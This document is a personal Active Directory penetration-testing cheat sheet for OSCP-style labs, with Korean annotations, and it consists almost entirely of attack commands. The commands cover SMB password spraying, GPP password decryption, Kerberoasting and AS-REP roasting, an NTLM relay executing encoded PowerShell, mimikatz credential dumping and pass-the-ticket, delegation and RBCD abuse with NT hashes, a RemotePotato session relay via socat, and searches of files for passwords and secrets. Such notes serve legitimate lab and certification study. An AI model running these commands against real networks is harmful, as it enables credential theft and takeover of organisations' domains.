Cubana's CyberSecurity

1. Active Directory

4 min read

ldap

# Creds
ldapsearch -x -H ldap://10.10.10.10 -D 'domain\cubana' -w 'Password123' -b 'DC=DOMAIN,DC=COM'
 
# Without Creds
ldapsearch -x -H ldap://10.10.10.10:389 -b "DC=DOMAIN,DC=COM"

RPC

# Creds
rpcclient -U "domain.com/cubana%Password123" 10.10.10.10
 
# Without Creds
rpcclient -U "" -N 10.10.10.10

SMB

nxc smb 10.10.10.10 -u cubana -p Password123 --shares --users --rid-brute
nxc smb 10.10.10.10 -u cubana -p Password123 -d 'domain.com'
nxc smb 10.10.10.10 -u cubana -p Password123 --local-auth
 
nxc smb 10.10.10.10 -u '' -p '' --shares
nxc smb 10.10.10.10 -u 'guest' -p '' --shares
nxc smb 10.10.10.10 -u 'guest123123' -p '' --shares
nxc smb 10.10.10.10 --shares
 
nxc smb 10.10.10.10 -u domain_users.txt -p Passwords.txt --continue-on-success --no-brute
 
smbclient \\\\10.10.10.10\\secrets -U Administrator --pw-nt-hash
8846f7eaee8fb117ad06bdd830b7586c
  • local auth와 domain auth 구분하기

NXC

# mssql
nxc mssql 10.10.10.10 -u cubana -p Password123 [--local-auth]
nxc mssql 10.10.10.10 -u cubana -p Password123 --rid-brute

SMB - SYSVOL - GPP decrypt (MS14-025)

# Automated with nxc
nxc smb 10.10.10.10 -u cubana -p Password123 -M gpp_password
nxc smb 10.10.10.10 -u cubana -p Password123 -M gpp_autologin
 
# Groups.xml
grep -rnE "cpassword" . 2>/dev/null
gpp-decrypt 'gpp_string_here'
 
# example
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
GPPstillStandingStrong2k18

Kerberoasting - hashcat 13100

# Impacket
GetUserSPNs.py -dc-ip 10.10.10.10 -dc-host dc01.domain.com  -request domain.com/cubana:Password123
 
# Request with PreAuth Account (AS-REP Roastable)
GetUserSPNs.py -dc-ip 10.10.10.10 -dc-host DC01.domain.com -usersfile domain_users -no-preauth <PRE_AUTH_ACCOUNT> -outputfile kerb.hash domain.com/
 
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

AS-REP Roasting - hashcat 18200

# Impacket
GetNPUsers.py -dc-ip 10.10.10.10 -dc-host dc01.domain.com -usersfile domain_users.txt  -request domain.com/cubana:Password123
 
.\Rubeus.exe asreproast /nowrap

Bloodhound-ce

bloodhound-ce-python -c all -dc dc01.domain.com -d domain.com -u cubana -p Password123 -ns 10.10.10.10
  • ACL 수집됐는지 반드시 확인.

NTLM Relay

impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.10.10 -c
"powershell -enc JABjAGwAaQBlAG4AdA..."
  • 강제 인증 등으로 NTLM 인증을 만들어 내 트리거

Enumerate System

# system environment 
cmd /c set
 
# stored credential
cmdkey /list
 
# sessions
qwinsta *
 
# listening port info
netstat -ano | findstr "LISTEN"
 
# Find Files
Get-ChildItem -Path C:\ -Include *.kdbx,*.ini -File -Recurse -ErrorAction SilentlyContinue
 
Get-ChildItem -Path C:\Users -Include *.txt,*.ini,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
 
# Grep Strings
Get-ChildItem . -File -Recurse | Where-Object Extension -notin '.exe','.dll','.jpg','.png','.zip' | Select-String 'password|secret|token|key|credential'
 
Select-String -Path * -Pattern "password|credential" -ErrorAction SilentlyContinue
 
# Check Installed Applications
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
 
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
 
 
# Check Powershell History
Get-History
(Get-PSReadlineOption).HistorySavePath
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\<Username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

mimikatz

OneLiner on WinRM

cmd /c C:\windows\tasks\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
privilege::debug
token::elevate
 
sekurlsa::logonpasswords
lsadump::sam
 
# Credential guard
mimikatz # misc::memssp
Injected =)
type C:\Windows\System32\mimilsa.log
 
-------------------------------------
# 티켓 추출
sekrulsa::tickets
sekrulsa::tickets /export
 
# 티켓 주입
kerberos::ptt ticket.kirbi
 
# 티켓 전체 삭제 (클린업)
kerberos::purge

Maybe Not in OSCP Scope

AD CS

# find vulnerable template
certipy-ad find -dc-ip 10.10.10.10 -u 'cubana' -p 'Password123!' -ns 10.10.10.10 -stdout -vulnerable

Delegation

Find Delegation

findDelegation.py 'domain.com/cubana' -dc-ip 10.10.10.10 -k -hashes NTHASH
findDelegation.py 'domain.com/cubana:Password123!' -dc-ip 10.10.10.10 -k

CD, Contrained Delegation

getST.py -spn $SPN -impersonate administrator 'domain.com/cubana' -hashes NTHASH
getST.py -spn http/dc01.rebound.htb -impersonate administrator 'rebound.htb/delegator$' -hashes :E1630B0E18242439A50E9D8B5F5B7524
  • -self: S4U2Self에서 중지하고 티켓 저장(S4U2Proxy단계에서 막힐 때 describeTicket으로 디버깅에 용이)
  • -additional-ticket ticket.ccache: 티켓에 Forwardable이 명시된 티켓을 함께 인자로 전달

Check Ticket (describeTicket)

describeTicket.py ticket.ccache
  • Flags에 Forwardable이 존재해야 Delegation에 사용 가능

RBCD, Resource Based Constrained Delegation

# RBCD 권한 등록
rbcd.py 'rebound.htb/delegator$' -hashes :E1630B0E18242439A50E9D8B5F5B7524 -k -delegate-from ldap_monitor -delegate-to 'delegator$' -action write -dc-ip dc01.rebound.htb -use-ldaps
  • ldap_monitor가 delegator$에게 RBCD를 수행할 수 있게 된다.
  • delegator$의 권한으로 delegator$의 msDS-AllowedToActOnBehalfOfOtherIdentity 속성을 수정하게 된다.
# RBCD 티켓 요청
getST.py 'rebound.htb/ldap_monitor:1GR8t@$$4u' -spn browser/dc01.rebound.htb -impersonate DC01$

Cross Session Relay

Check Session

.\RunasCs.exe x x qwinsta -l 9

Session Relay Setup (Kali)

socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<Target_IP>:8888

Session Relay Trigger (Remote Host)

.\RemotePotato.exe -m 2 -r KALI_IP -x KALI_IP -p 8888 -s 1

Kerberos Error

Message:

Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)

Example:

# RBCD로 ST를 획득한 뒤 PTT 시도.
KRB5CCNAME=administrator.ccache psexec.py -k -no-pass "support.htb/administrator@support.htb"
[-] Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)
 
=> 도메인을 FQDN으로 정확히 지정하자 해결
KRB5CCNAME=administrator.ccache psexec.py -k -no-pass "support.htb/administrator@DC.support.htb"
  • FQDN 맞는지 확인하기
  • 티켓 발급 당시 SPN 올바른지 확인하기

Graph View